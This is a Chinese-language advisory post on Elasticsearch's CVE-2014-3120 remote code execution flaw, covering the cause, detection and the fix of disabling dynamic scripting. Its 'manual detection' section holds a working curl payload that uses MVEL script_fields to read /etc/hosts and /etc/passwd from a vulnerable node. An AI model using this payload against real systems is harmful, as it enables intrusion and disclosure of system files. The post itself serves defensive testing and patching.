閱讀906 返回首頁    go 阿裏雲 go 技術社區[雲棲]


ElasticSearch遠程任意代碼執行漏洞(CVE-2014-3120)分析

原理

這個漏洞實際上非常簡單,ElasticSearch有腳本執行(scripting)的功能,可以很方便地對查詢出來的數據再加工處理。

ElasticSearch用的腳本引擎是MVEL,這個引擎沒有做任何的防護,或者沙盒包裝,所以直接可以執行任意代碼。

而在ElasticSearch裏,默認配置是打開動態腳本功能的,因此用戶可以直接通過http請求,執行任意代碼。

其實官方是清楚這個漏洞的,在文檔裏有說明:

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween. 


檢測方法

在線檢測:

https://tool.scanv.com/es.html          可以檢測任意地址

https://bouk.co/blog/elasticsearch-rce/poc.html   隻檢測localhost,不過會輸出/etc/hosts和/etc/passwd文件的內容到網頁上

自己手動檢測:

curl -XPOST 'https://localhost:9200/_search?pretty' -d '
{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "/etc/hosts": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
    },
    "/etc/passwd": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
    }
  }
}
'

處理辦法

關掉執行腳本功能,在配置文件elasticsearch.yml裏為每一個結點都加上:

script.disable_dynamic: true

https://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方會在1.2版本默認關閉動態腳本。

https://github.com/elasticsearch/elasticsearch/issues/5853

參考:

https://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

https://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

https://bouk.co/blog/elasticsearch-rce/

最後更新:2017-04-03 08:26:14

  上一篇:go 淺學設計模式之觀察者<Observer>模式及在android中的應用
  下一篇:go 深入分析 iBATIS 框架之係統架構與映射原理